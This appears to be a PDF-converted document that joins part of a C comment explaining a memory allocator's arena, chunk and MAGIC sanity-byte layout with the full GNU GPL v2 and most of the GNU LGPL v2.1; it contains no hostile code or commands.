```

```
* INDEX MAGIC1 MAGIC2 MAGIC3 UNUSED CHUNK1 CHUNK2 CHUNK3 ...
```

```
*
```

- \* # Multichunk with sanity checking and size  $2^k$ -ALIGN,  $k=7$
- \*
- \* INDEX MAGIC1 MAGIC2 MAGIC3 UNUSED CHUNK1 UNUSED CHUNK2 CHUNK3 ...
- \*
- \* # Multichunk with sanity checking and size up to 80
- \*
- \* INDEX UNUSED MAGIC1 UNUSED MAGIC2 UNUSED ... CHUNK1 CHUNK2 CHUNK3 ...
- \*
- \* # No sanity check (usually up to 48=byte-long buckets)
- \* INDEX UNUSED CHUNK1 CHUNK2 ...
- \*
- \* Above INDEX and MAGIC are one-byte-long. Sizes of UNUSED are
- \* appropriate to keep algorithms simple and memory aligned. INDEX
- \* encodes the size of the chunk, while MAGIC<sub>n</sub> encodes state (used,
- \* free or non-managed-by-us-so-it-indicates-a-bug) of CHUNK<sub>n</sub>. MAGIC
- \* is used for sanity checking purposes only. SOMETHING is 0 or 4K
- \* (to make size of big CHUNK accommodate allocations for powers of two
- \* better).
- \*
- \* [There is no need to alignment between chunks, since C rules ensure
- \* that structs which need  $2^k$  alignment have sizeof which is
- \* divisible by  $2^k$ . Thus as far as the last chunk is aligned at the
- \* end of the arena, and 2K-alignment does not contradict things,
- \* everything is going to be OK for sizes of chunks  $2^n$  and  $2^n +$
- \*  $2^k$ . Say, 80-bit buckets will be 16-bit aligned, and as far as we

- \* put allocations for requests in 65..80 range, all is fine.
- \*
- \* Note, however, that standard malloc() puts more strict
- \* requirements than the above C rules. Moreover, our algorithms of
- \* realloc() may break this idyll, but we suppose that realloc() does
- \* need not change alignment.]
- \*
- \* Is very important to make calculation of the offset of MAGICm as
- \* quick as possible, since it is done on each malloc()/free(). In
- \* fact it is so quick that it has quite little effect on the speed of
- \* doing malloc()/free(). [By default] We forego such calculations
- \* for small chunks, but only to save extra 3% of memory, not because
- \* of speed considerations.
- \*
- \* Here is the algorithm [which is the same for all the allocations
- \* schemes above], see OV\_MAGIC(block,bucket). Let OFFSETm be the
- \* offset of the CHUNKm from the start of ARENA. Then offset of
- \* MAGICm is  $(\text{OFFSET1} \gg \text{SHIFT}) + \text{ADDOFFSET}$ . Here SHIFT and ADDOFFSET
- \* are numbers which depend on the size of the chunks only.
- \*
- \* Let us check some sanity conditions. Numbers  $\text{OFFSETm} \gg \text{SHIFT}$  are
- \* different for all the chunks in the arena if  $2^{\text{SHIFT}}$  is not greater
- \* than size of the chunks in the arena. MAGIC1 will not overwrite
- \* INDEX provided ADDOFFSET is  $>0$  if  $\text{OFFSET1} < 2^{\text{SHIFT}}$ . MAGIClast
- \* will not overwrite CHUNK1 if  $\text{OFFSET1} > (\text{OFFSETlast} \gg \text{SHIFT}) +$

\* ADDOFFSET.

\*

\* Make SHIFT the maximal possible (there is no point in making it

\* smaller). Since OFFSETlast is  $2K - \text{CHUNKSIZE}$ , above restrictions

\* give restrictions on OFFSET1 and on ADDOFFSET.

\*

\* In particular, for chunks of size  $2^k$  with  $k \geq 6$  we can put

\* ADDOFFSET to be from 0 to  $2^k - 2^{(11-k)}$ , and have

\* OFFSET1==chunksize. For chunks of size 80 OFFSET1 of  $2K \% 80 = 48$  is

\* large enough to have ADDOFFSET between 1 and 16 (similarly for 96,

\* when ADDOFFSET should be 1). In particular, keeping MAGICs for

\* these sizes gives no additional size penalty.

\*

\* However, for chunks of size  $2^k$  with  $k \leq 5$  this gives OFFSET1  $\geq$

\* ADDOFFSET +  $2^{(11-k)}$ . Keeping ADDOFFSET 0 allows for  $2^{(11-k)} - 2^{(11-2k)}$

\* chunks per arena. This is smaller than  $2^{(11-k)} - 1$  which are

\* needed if no MAGIC is kept. [In fact, having a negative ADDOFFSET

\* would allow for slightly more buckets per arena for  $k=2,3$ .]

\*

\* Similarly, for chunks of size  $3/2 * 2^k$  with  $k \leq 5$  MAGICs would span

\* the area up to  $2^{(11-k)} + \text{ADDOFFSET}$ . For  $k=4$  this give optimal

\* ADDOFFSET as  $-7..0$ . For  $k=3$  ADDOFFSET can go up to 4 (with tiny

\* savings for negative ADDOFFSET). For  $k=5$  ADDOFFSET can go  $-1..16$

\* (with no savings for negative values).

\*

- \* In particular, keeping ADDOFFSET 0 for sizes of chunks up to  $2^6$
- \* leads to tiny pessimizations in case of sizes 4, 8, 12, 24, and
- \* leads to no contradictions except for size=80 (or 96.)
- \*
- \* However, it also makes sense to keep no magic for sizes 48 or less.
- \* This is what we do. In this case one needs ADDOFFSET $\geq$ 1 also for
- \* chunksizes 12, 24, and 48, unless one gets one less chunk per
- \* arena.
- \*
- \* The algo of OV\_MAGIC(block,bucket) keeps ADDOFFSET 0 until
- \* chunksize of 64, then makes it 1.
- \*
- \* This allows for an additional optimization: the above scheme leads
- \* to giant overheads for sizes 128 or more (one whole chunk needs to
- \* be sacrificed to keep INDEX). Instead we use chunks not of size
- \*  $2^k$ , but of size  $2^k - \text{ALIGN}$ . If we pack these chunks at the end of
- \* the arena, then the beginnings are still in different  $2^k$ -long
- \* sections of the arena if  $k \geq 7$  for  $\text{ALIGN}=4$ , and  $k \geq 8$  if  $\text{ALIGN}=8$ .
- \* Thus for  $k > 7$  the above algo of calculating the offset of the magic
- \* will still give different answers for different chunks. And to
- \* avoid the overrun of MAGIC1 into INDEX, one needs ADDOFFSET of  $\geq 1$ .
- \* In the case  $k=7$  we just move the first chunk an extra ALIGN
- \* backward inside the ARENA (this is done once per arena lifetime,
- \* thus is not a big overhead). \*/

## GNU GENERAL PUBLIC LICENSE

Version 2, June 1991

Copyright (C) 1989, 1991 Free Software Foundation, Inc.

51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA

Everyone is permitted to copy and distribute verbatim copies  
of this license document, but changing it is not allowed.

### Preamble

The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too.

When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things.

To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it.

For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights.

We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software.

Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations.

Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all.

The precise terms and conditions for copying, distribution and modification follow.

#### TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does.

1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program.

You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License.

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program.

In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.

3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following:

<!-- we use this doubled UL to get the sub-sections indented, --> <!-- while making the bullets as unobvious as possible. -->

- a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
- b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or,
- c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.

If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code.

4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it.

6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License.

7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.

This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.

8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.

9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation.

10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

## NO WARRANTY

11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

## END OF TERMS AND CONDITIONS

### How to Apply These Terms to Your New Programs

If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms.

To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found.

one line to give the program's name and an idea of what it does.

along with this program; if not, write to the Free Software  
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.

Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this when it starts in an interactive mode:

Gnomovision version 69, Copyright (C) year name of author

Gnomovision comes with ABSOLUTELY NO WARRANTY; for details

type `show w'. This is free software, and you are welcome

to redistribute it under certain conditions; type `show c'

for details.

The hypothetical commands `show w' and `show c' should show the appropriate parts of the General  
Public License. Of course, the commands you use may be called something other than `show w' and  
`show c'; they could even be mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your school, if any, to sign a  
"copyright disclaimer" for the program, if necessary. Here is a sample; alter the names:

Yoyodyne, Inc., hereby disclaims all copyright

interest in the program `Gnomovision'

(which makes passes at compilers) written

by James Hacker.

signature of Ty Coon, 1 April 1989

## GNU LESSER GENERAL PUBLIC LICENSE

Version 2.1, February 1999

Copyright (C) 1991, 1999 Free Software Foundation, Inc.

51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA

Everyone is permitted to copy and distribute verbatim copies  
of this license document, but changing it is not allowed.

[This is the first released version of the Lesser GPL. It also counts

as the successor of the GNU Library Public License, version 2, hence the version number 2.1.]

## Preamble

The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public Licenses are intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users.

This license, the Lesser General Public License, applies to some specially designated software packages--typically libraries--of the Free Software Foundation and other authors who decide to use it. You can use it too, but we suggest you first think carefully about whether this license or the ordinary General Public License is the better strategy to use in any particular case, based on the explanations below.

When we speak of free software, we are referring to freedom of use, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish); that you receive source code or can get it if you want it; that you can change the software and use pieces of it in new free programs; and that you are informed that you can do these things.

To protect your rights, we need to make restrictions that forbid distributors to deny you these rights or to ask you to surrender these rights. These restrictions translate to certain responsibilities for you if you distribute copies of the library or if you modify it.

For example, if you distribute copies of the library, whether gratis or for a fee, you must give the recipients all the rights that we gave you. You must make sure that they, too, receive or can get the source code. If you link other code with the library, you must provide complete object files to the recipients, so that they can relink them with the library after making changes to the library and recompiling it. And you must show them these terms so they know their rights.

We protect your rights with a two-step method: (1) we copyright the library, and (2) we offer you this license, which gives you legal permission to copy, distribute and/or modify the library.

To protect each distributor, we want to make it very clear that there is no warranty for the free library. Also, if the library is modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others.

Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a restrictive license from a patent holder. Therefore, we insist that any patent license obtained for a version of the library must be consistent with the full freedom of use specified in this license.

Most GNU software, including some libraries, is covered by the ordinary GNU General Public License. This license, the GNU Lesser General Public License, applies to certain designated libraries, and is quite different from the ordinary General Public License. We use this license for certain libraries in order to permit linking those libraries into non-free programs.

When a program is linked with a library, whether statically or using a shared library, the combination of the two is legally speaking a combined work, a derivative of the original library. The ordinary General Public License therefore permits such linking only if the entire combination fits its criteria of freedom. The Lesser General Public License permits more lax criteria for linking other code with the library.

We call this license the "Lesser" General Public License because it does Less to protect the user's freedom than the ordinary General Public License. It also provides other free software developers Less of an advantage over competing non-free programs. These disadvantages are the reason we use the ordinary General Public License for many libraries. However, the Lesser license provides advantages in certain special circumstances.

For example, on rare occasions, there may be a special need to encourage the widest possible use of a certain library, so that it becomes a de-facto standard. To achieve this, non-free programs must be allowed to use the library. A more frequent case is that a free library does the same job as widely used non-free libraries. In this case, there is little to gain by limiting the free library to free software only, so we use the Lesser General Public License.

In other cases, permission to use a particular library in non-free programs enables a greater number of people to use a large body of free software. For example, permission to use the GNU C Library in non-free programs enables many more people to use the whole GNU operating system, as well as its variant, the GNU/Linux operating system.

Although the Lesser General Public License is Less protective of the users' freedom, it does ensure that the user of a program that is linked with the Library has the freedom and the wherewithal to run that program using a modified version of the Library.

The precise terms and conditions for copying, distribution and modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run.

#### TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

0. This License Agreement applies to any software library or other program which contains a notice placed by the copyright holder or other authorized party saying it may be distributed under the terms of this Lesser General Public License (also called "this License"). Each licensee is addressed as "you".

A "library" means a collection of software functions and/or data prepared so as to be conveniently linked with application programs (which use some of those functions and data) to form executables.

The "Library", below, refers to any such software library or work which has been distributed under these terms. A "work based on the Library" means either the Library or any derivative work under copyright law: that is to say, a work containing the Library or a portion of it, either verbatim or with modifications and/or translated straightforwardly into another language. (Hereinafter, translation is included without limitation in the term "modification".)

"Source code" for a work means the preferred form of the work for making modifications to it. For a library, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the library.

Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running a program using the Library is not restricted, and output from such a program is covered only if its contents constitute a work based on the Library (independent of the use of the Library in a tool for writing it). Whether that is true depends on what the Library does and what the program that uses the Library does.

1. You may copy and distribute verbatim copies of the Library's complete source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and distribute a copy of this License along with the Library.

You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee.

2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) The modified work must itself be a software library.

b) You must cause the files modified to carry prominent notices stating that you changed the files and the date of any change.

c) You must cause the whole of the work to be licensed at no charge to all third parties under the terms of this License.

d) If a facility in the modified Library refers to a function or a table of data to be supplied by an application program that uses the facility, other than as an argument passed when the facility is invoked, then you must make a good faith effort to ensure that, in the event an application does not supply such function or table, the facility still operates, and performs whatever part of its purpose remains meaningful.

(For example, a function in a library to compute square roots has a purpose that is entirely well-defined independent of the application. Therefore, Subsection 2d requires that any application-supplied

function or table used by this function must be optional: if the application does not supply it, the square root function must still compute square roots.)

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Library, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Library, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Library.

In addition, mere aggregation of another work not based on the Library with the Library (or with a work based on the Library) on a volume of a storage or distribution medium does not bring the other work under the scope of this License.

3. You may opt to apply the terms of the ordinary GNU General Public License instead of this License to a given copy of the Library. To do this, you must alter all the notices that refer to this License, so that they refer to the ordinary GNU General Public License, version 2, instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices.

Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy.

This option is useful when you wish to copy part of the code of the Library into a program that is not a library.

4. You may copy and distribute the Library (or a portion or derivative of it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange.

If distribution of object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place satisfies the requirement to distribute the source code, even though third parties are not compelled to copy the source along with the object code.

5. A program that contains no derivative of any portion of the Library, but is designed to work with the Library by being compiled or linked with it, is called a "work that uses the Library". Such a work, in isolation, is not a derivative work of the Library, and therefore falls outside the scope of this License.

However, linking a "work that uses the Library" with the Library creates an executable that is a derivative of the Library (because it contains portions of the Library), rather than a "work that uses the library". The executable is therefore covered by this License. Section 6 states terms for distribution of such executables.

When a "work that uses the Library" uses material from a header file that is part of the Library, the object code for the work may be a derivative work of the Library even though the source code is not. Whether this is true is especially significant if the work can be linked without the Library, or if the work is itself a library. The threshold for this to be true is not precisely defined by law.

If such an object file uses only numerical parameters, data structure layouts and accessors, and small macros and small inline functions (ten lines or less in length), then the use of the object file is unrestricted, regardless of whether it is legally a derivative work. (Executables containing this object code plus portions of the Library will still fall under Section 6.)

Otherwise, if the work is a derivative of the Library, you may distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself.

6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work under terms of your choice, provided that the terms permit modification of the work for the customer's own use and reverse engineering for debugging such modifications.

You must give prominent notice with each copy of the work that the Library is used in it and that the Library and its use are covered by this License. You must supply a copy of this License. If the work during execution displays copyright notices, you must include the copyright notice for the Library among them, as well as a reference directing the user to the copy of this License. Also, you must do one of these things:

a) Accompany the work with the complete corresponding machine-readable source code for the Library including whatever changes were used in the work (which must be distributed under Sections 1 and 2 above); and, if the work is an executable linked with the Library, with the complete machine-readable "work that uses the Library", as object code and/or source code, so that the user can modify the Library and then relink to produce a modified executable containing the modified Library. (It is understood that the user who changes the contents of definitions files in the Library will not necessarily be able to recompile the application to use the modified definitions.)

b) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (1) uses at run time a copy of the library already present on the user's computer system, rather than copying library functions into the executable, and (2) will operate properly with a modified version of the library, if the user installs one, as long as the modified version is interface-compatible with the version that the work was made with.

c) Accompany the work with a written offer, valid for at least three years, to give the same user the materials specified in Subsection 6a, above, for a charge no more than the cost of performing this distribution.

d) If distribution of the work is made by offering access to copy from a designated place, offer equivalent access to copy the above specified materials from the same place.

e) Verify that the user has already received a copy of these materials or that you have already sent this user a copy.

For an executable, the required form of the "work that uses the Library" must include any data and utility programs needed for reproducing the executable from it. However, as a special exception, the materials to be distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable.

It may happen that this requirement contradicts the license restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute.

7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined library, provided that the separate distribution of the work based on the Library and of the other library facilities is otherwise permitted, and provided that you do these two things:

a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities. This must be distributed under the terms of the Sections above.

b) Give prominent notice with the combined library of the fact that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work.

8. You may not copy, modify, sublicense, link with, or distribute the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

9. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Library or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Library (or any work based on the Library), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Library or works based on it.

10. Each time you redistribute the Library (or any work based on the Library), the recipient automatically receives a license from the original licensor to copy, distribute, link with or modify the Library subject to

these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License.

11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Library at all. For example, if a patent license would not permit royalty-free redistribution of the Library by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Library.

If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply, and the section as a whole is intended to apply in other circumstances.

It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice.

This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License.

12. If the distribution and/or use of the Library is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Library under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License.

13. The Free Software Foundation may publish revised and/or new versions of the Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns.

Each version is given a distinguishing version number. If the Library specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation.

14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally.

#### NO WARRANTY

15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.

